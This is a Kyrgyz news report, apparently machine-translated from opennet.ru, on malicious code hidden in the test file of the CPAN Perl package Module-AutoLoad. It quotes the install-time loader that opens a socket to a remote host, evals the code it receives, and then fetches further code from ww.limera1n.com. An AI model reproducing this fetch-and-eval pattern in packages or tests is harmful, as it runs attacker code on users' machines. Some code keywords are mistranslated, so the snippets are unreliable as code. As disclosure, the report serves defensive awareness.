Module-AutoLoad Perl пакетинде зыяндуу код аныкталды

CPAN каталогу аркылуу бөлүштүрүлгөн Perl пакетинде Модуль-АвтоЖүктөө, CPAN модулдарын автоматтык түрдө жүктөө үчүн иштелип чыккан, аныкталган зыяндуу код. Зыяндуу кыстаруу болду табылган сыноо кодунда 05_rcx.t, 2011-жылдан бери ташып келе жатат.
Белгилей кетчү нерсе, шектүү кодду жүктөө боюнча суроолор пайда болгон Stackoverflow кайра 2016-жылы.

Зыяндуу аракет модулду орнотууда ишке киргизилген сыноо топтомун аткаруу учурунда үчүнчү тараптын серверинен кодду жүктөп алуу жана аткаруу аракетине (http://r.cx:1/) чейин жетет. Алгач тышкы серверден жүктөлүп алынган код зыяндуу эмес деп болжолдонууда, бирок азыр суроо-талап ww.limera1n.com доменине багытталды, ал коддун өз бөлүгүн аткаруу үчүн камсыз кылат.

Файлда жүктөөнү уюштуруу үчүн 05_rcx.t Төмөнкү код колдонулат:

менин $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
менин $try = `$^X $prog`;

Көрсөтүлгөн код скрипттин аткарылышын шарттайт ../contrib/RCX.pl, анын мазмуну сапка кыскартылган:

use lib do{eval<$b>&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.":1″};

Бул скрипт жүктөлөт чаташкан кызматын колдонуу perlobfuscator.com тышкы хосттон r.cx коду (82.46.99.88 символдук коддору "R.cX" текстине туура келет) жана аны баалоо блогунда аткарат.

$ perl -MIO::Socket -e'$b=new IO::Socket::INET 82.46.99.88.":1″; басып чыгаруу <$b>;'
eval unpack u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

Таңгактан чыгаргандан кийин, акырында төмөнкүлөр аткарылат: коду:

print{$b=new IO::Socket::INET"ww.limera1n.com:80″}"ГЕТ /iJailBreak
";evalor return warn$@while$b;1

Көйгөйлүү топтом азыр репозиторийден алынып салынды. ТЫНЫТУУ (Perl Authors Upload Server) жана модулдун авторунун каттоо эсеби бөгөттөлгөн. Бул учурда, модул дагы эле бойдон калууда жеткиликтүү MetaCPAN архивинде жана cpanminus сыяктуу кээ бир утилиталарды колдонуп MetaCPANдан түз орнотсо болот. Бул белгиленгенпакет кеңири таралган эмес.

Талкуулоо кызыктуу туташкан жана модулдун автору, анын “r.cx” сайты бузулгандан кийин зыяндуу код киргизилген деген маалыматты четке кагып, жөн гана көңүл ачып жатканын түшүндүрүп, perlobfuscator.com сайтын бир нерсени жашыруу үчүн эмес, көлөмүн азайтуу үчүн колдонгон. коддун жана алмашуу буфери аркылуу көчүрүүнү жөнөкөйлөтүү. Функциянын аталышынын "botstrap" тандалышы бул сөздүн "бот сыяктуу угулат жана жүктөөчүгө караганда кыскараак экени" менен түшүндүрүлөт. Модулдун автору ошондой эле аныкталган манипуляциялар зыяндуу аракеттерди жасабайт, бирок TCP аркылуу коддун жүктөлүшүн жана аткарылышын гана көрсөтөт деп ишендирди.

Source: opennet.ru

Комментарий кошуу